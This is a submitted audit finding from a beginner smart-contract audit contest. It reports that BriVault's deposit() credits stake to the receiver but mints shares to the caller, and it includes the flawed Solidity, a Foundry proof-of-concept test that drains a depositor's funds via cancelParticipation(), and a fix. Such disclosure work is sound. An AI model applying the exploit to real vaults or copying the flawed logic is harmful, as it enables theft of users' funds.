BriVault
First Flight #52
Beginner FriendlySolidity
100 EXP
View results
Previous Next
Submission Details
Severity: high
Valid

Incorrect share minting recipient in deposit() causes logic mismatch and potential unauthorized fund claims

jopantech

[H-01] Incorrect share minting recipient in deposit() causes logic mismatch and potential unauthorized fund claims

Description

In ERC-4626-style vaults, deposit(uint256 assets, address receiver) should transfer assets from the caller to the vault and mint the resulting vault shares to receiver. After the call, receiver becomes the owner of those shares and is entitled to all future rewards and withdrawals.

In the current implementation, however, the vault records the deposited (post-fee) amount under stakedAsset[receiver], but mints the vault shares to msg.sender instead.

This leads to a logic mismatch between share ownership and staking records. A malicious user can exploit this by depositing on behalf of another address while keeping the minted shares. The receiver, who never deposited, is then eligible to call cancelParticipation() and receive a refund — effectively stealing funds from the depositor.

// briVault.sol
function deposit(uint256 assets, address receiver) public override returns (uint256) {
require(receiver != address(0));
​
if (block.timestamp >= eventStartDate) {
revert eventStarted();
}
​
uint256 fee = _getParticipationFee(assets);
if (minimumAmount + fee > assets) {
revert lowFeeAndAmount();
}
​
uint256 stakeAsset = assets - fee;
​
// @audit Records credit for the receiver (post-fee)
stakedAsset[receiver] = stakeAsset;
​
uint256 participantShares = _convertToShares(stakeAsset);
​
IERC20(asset()).safeTransferFrom(msg.sender, participationFeeAddress, fee);
IERC20(asset()).safeTransferFrom(msg.sender, address(this), stakeAsset);
​
// @audit Mints shares to the caller (msg.sender) instead of `receiver`
_mint(msg.sender, participantShares);
​
emit deposited (receiver, stakeAsset);
​
return participantShares;
}

Risk

Likelihood: High

  • deposit() is public and commonly used.

  • No restrictions on who the receiver can be.

  • Trivial to exploit by specifying a receiver different from the depositor.

Impact: Critical

  • The depositor (msg.sender) loses funds while another address (receiver) can withdraw or refund.

  • Breaks ERC-4626 invariants and accounting consistency.

  • Leads to user fund loss and broken protocol trust.

Proof of Concept

Add this function to test/briVault.t.sol (or run the supplied test in your test suite):

function test_DepositLogicMismatch() public {
// initial balances
uint256 user1Before = mockToken.balanceOf(user1);
uint256 user2Before = mockToken.balanceOf(user2);
uint256 vaultBefore = mockToken.balanceOf(address(briVault));
uint256 feeAddrBefore = mockToken.balanceOf(participationFeeAddress);
console.log("=== BEFORE DEPOSIT ===");
console.log("user1Before:", user1Before);
console.log("user2Before:", user2Before);
console.log("vaultBefore:", vaultBefore);
console.log("feeAddrBefore:", feeAddrBefore);
console.log("");
// user1 deposits 10 ether but sets receiver = user2
vm.startPrank(user1);
mockToken.approve(address(briVault), 10 ether);
briVault.deposit(10 ether, user2);
vm.stopPrank();
// compute expected fee & stake (1.5% = 150 bsp)
uint256 fee = (10 ether * participationFeeBsp) / 10000;
uint256 expectedStake = 10 ether - fee;
console.log("=== AFTER DEPOSIT ===");
console.log("fee charged:", fee);
console.log("expected staked asset:", expectedStake);
console.log("stakedAsset[user2]:", briVault.stakedAsset(user2));
console.log("user1 shares:", briVault.balanceOf(user1));
console.log("user2 shares:", briVault.balanceOf(user2));
console.log("");
// sanity check: recorded stake for user2 should equal stake after fee
assertEq(briVault.stakedAsset(user2), expectedStake);
// user2 (who never paid) cancels participation and receives refund
vm.startPrank(user2);
briVault.cancelParticipation();
vm.stopPrank();
// balances after exploit
uint256 user1After = mockToken.balanceOf(user1);
uint256 user2After = mockToken.balanceOf(user2);
uint256 vaultAfter = mockToken.balanceOf(address(briVault));
uint256 feeAddrAfter = mockToken.balanceOf(participationFeeAddress);
console.log("=== AFTER CANCEL ===");
console.log("user1After:", user1After);
console.log("user2After:", user2After);
console.log("vaultAfter:", vaultAfter);
console.log("feeAddrAfter:", feeAddrAfter);
console.log("user1 shares still:", briVault.balanceOf(user1));
console.log("user2 shares still:", briVault.balanceOf(user2));
console.log("user1 net loss:", user1Before - user1After);
console.log("user2 net gain:", user2After - user2Before);
console.log("");
// Assertions:
// - user2 received the refunded stake (despite never paying)
assertEq(user2After, user2Before + expectedStake, "user2 should receive refund");
// - user1 paid the original 10 ether (lost funds)
assertEq(user1After, user1Before - 10 ether, "user1 should have paid the deposit");
// - participation fee was transferred to fee address
assertEq(feeAddrAfter, feeAddrBefore + fee, "fee should be collected");
// - vault balance returned to initial (deposit then refund)
assertEq(vaultAfter, vaultBefore, "vault should be back to its initial balance");
// - user1 still owns shares (minted to msg.sender), user2 has no shares
assertGt(briVault.balanceOf(user1), 0, "user1 should still own shares");
assertEq(briVault.balanceOf(user2), 0, "user2 should not own shares");
}

Run with:

forge test --match-test test_DepositLogicMismatch -vvv

Recommended Mitigation

  • Ensure that share minting and staking records align:

- _mint(msg.sender, participantShares);
+ _mint(receiver, participantShares);
Updates

Appeal created

bube Lead Judge 20 days ago
Submission Judgement Published
Validated
Assigned finding tags:

Shares Minted to msg.sender Instead of Specified Receiver

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!